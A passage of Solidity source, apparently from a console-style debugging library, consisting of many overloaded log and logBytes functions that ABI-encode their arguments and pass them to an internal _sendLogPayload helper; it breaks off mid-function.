function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint256 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint256 p0, uint256 p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint256 p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint256 p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint256 p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint256 p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint256 p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint256 p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,address)", p0, p1)
);
}
function log(
uint256 p0,
uint256 p1,
uint256 p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)
);
}
function log(
uint256 p0,
uint256 p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)
);
}
function log(
uint256 p0,
uint256 p1,
bool p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)
);
}
function log(
uint256 p0,
uint256 p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)
);
}
function log(
uint256 p0,
string memory p1,
uint256 p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)
);
}
function log(
uint256 p0,
string memory p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)
);
}
function log(
uint256 p0,
string memory p1,
bool p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)
);
}
function log(
uint256 p0,
string memory p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)
);
}
function log(
uint256 p0,
bool p1,
uint256 p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)
);
}
function log(
uint256 p0,
bool p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)
);
}
function log(
uint256 p0,
bool p1,
bool p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)
);
}
function log(
uint256 p0,
bool p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)
);
}
function log(
uint256 p0,
address p1,
uint256 p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)
);
}
function log(
uint256 p0,
address p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)
);
}
function log(
uint256 p0,
address p1,
bool p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)
);
}
function log(
uint256 p0,
address p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)
);
}
function log(
string memory p0,
uint256 p1,
uint256 p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)
);
}
function log(
string memory p0,
uint256 p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)
);
}
function log(
string memory p0,
uint256 p1,
bool p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)
);
}
function log(
string memory p0,
uint256 p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)
);
}
function log(
string memory p0,
string memory p1,
uint256 p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)
);
}
function log(
string memory p0,
string memory p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)
);
}
function log(
string memory p0,
string memory p1,
bool p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)
);
}
function log(
string memory p0,
string memory p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)
);
}
function log(
string memory p0,
bool p1,
uint256 p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)
);
}
function log(
string memory p0,
bool p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)
);
}
function log(
string memory p0,
bool p1,
bool p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)
);
}
function log(
string memory p0,
bool p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)
);
}
function log(
string memory p0,
address p1,
uint256 p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)
);
}
function log(
string memory p0,
address p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)
);
}
function log(
string memory p0,
address p1,
bool p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)
);
}
function log(
string memory p0,
address p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)
);
}
function log(
bool p0,
uint256 p1,
uint256 p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)
);
}
function log(
bool p0,
uint256 p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)
);
}
function log(
bool p0,
uint256 p1,
bool p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)
);
}
function log(
bool p0,
uint256 p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)
);
}
function log(
bool p0,
string memory p1,
uint256 p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)
);
}
function log(
bool p0,
string memory p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)
);
}
function log(
bool p0,
string memory p1,
bool p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)
);
}
function log(
bool p0,
string memory p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)
);
}
function log(
bool p0,
bool p1,
uint256 p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)
);
}
function log(
bool p0,
bool p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)
);
}
function log(
bool p0,
bool p1,
bool p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)
);
}
function log(
bool p0,
bool p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)
);
}
function log(
bool p0,
address p1,
uint256 p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)
);
}
function log(
bool p0,
address p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)
);
}
function log(
bool p0,
address p1,
bool p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)
);
}
function log(
bool p0,
address p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)
);
}
function log(
address p0,
uint256 p1,
uint256 p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)
);
}
function log(
address p0,
uint256 p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)
);
}
function log(
address p0,
uint256 p1,
bool p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)
);
}
function log(
address p0,
uint256 p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)
);
}
function log(
address p0,
string memory p1,
uint256 p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)
);
}
function log(
address p0,
string memory p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)
);
}
function log(
address p0,
string memory p1,
bool p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)
);
}
function log(
address p0,
string memory p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)
);
}
function log(
address p0,
bool p1,
uint256 p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)
);
}
function log(
address p0,
bool p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)
);
}
function log(
address p0,
bool p1,
bool p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)
);
}
function log(
address p0,
bool p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)
);
}
function log(
address p0,
address p1,
uint256 p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)
);
}
function log(
address p0,
address p1,
string memory p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)
);
}
function log(
address p0,
address p1,
bool p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)
);
}
function log(
address p0,
address p1,
address p2
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)
);
}
function log(
uint256 p0,
uint256 p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
uint256 p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,uint,uint,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
uint256 p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
uint256 p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,uint,uint,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
uint256 p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,uint,string,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
uint256 p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,uint,string,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
uint256 p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,uint,string,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
uint256 p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,uint,string,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
uint256 p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
uint256 p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,uint,bool,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
uint256 p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
uint256 p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,uint,bool,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
uint256 p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,uint,address,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
uint256 p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,uint,address,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
uint256 p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,uint,address,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
uint256 p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,uint,address,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
string memory p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,string,uint,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
string memory p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,string,uint,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
string memory p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,string,uint,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
string memory p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,string,uint,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
string memory p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,string,string,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
string memory p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,string,string,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
string memory p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,string,string,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
string memory p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,string,string,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
string memory p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,string,bool,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
string memory p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,string,bool,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
string memory p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,string,bool,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
string memory p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,string,bool,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
string memory p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,string,address,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
string memory p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,string,address,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
string memory p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,string,address,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
string memory p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,string,address,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
bool p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
bool p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,bool,uint,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
bool p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
bool p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,bool,uint,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
bool p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,bool,string,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
bool p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,bool,string,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
bool p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,bool,string,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
bool p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,bool,string,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
bool p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
bool p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,bool,bool,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
bool p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
bool p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,bool,bool,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
bool p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,bool,address,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
bool p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,bool,address,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
bool p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,bool,address,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
bool p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,bool,address,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
address p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,address,uint,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
address p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,address,uint,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
address p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,address,uint,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
address p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,address,uint,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
address p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,address,string,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
address p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,address,string,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
address p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,address,string,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
address p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,address,string,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
address p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,address,bool,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
address p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,address,bool,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
address p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,address,bool,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
address p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,address,bool,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
address p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,address,address,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
address p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,address,address,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
address p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,address,address,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
address p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,address,address,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
uint256 p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,uint,uint,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
uint256 p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,uint,uint,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
uint256 p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,uint,uint,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
uint256 p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,uint,uint,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
uint256 p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,uint,string,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
uint256 p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,uint,string,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
uint256 p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,uint,string,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
uint256 p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,uint,string,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
uint256 p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,uint,bool,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
uint256 p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,uint,bool,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
uint256 p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,uint,bool,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
uint256 p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,uint,bool,address)",
p0,
p1,
p2,
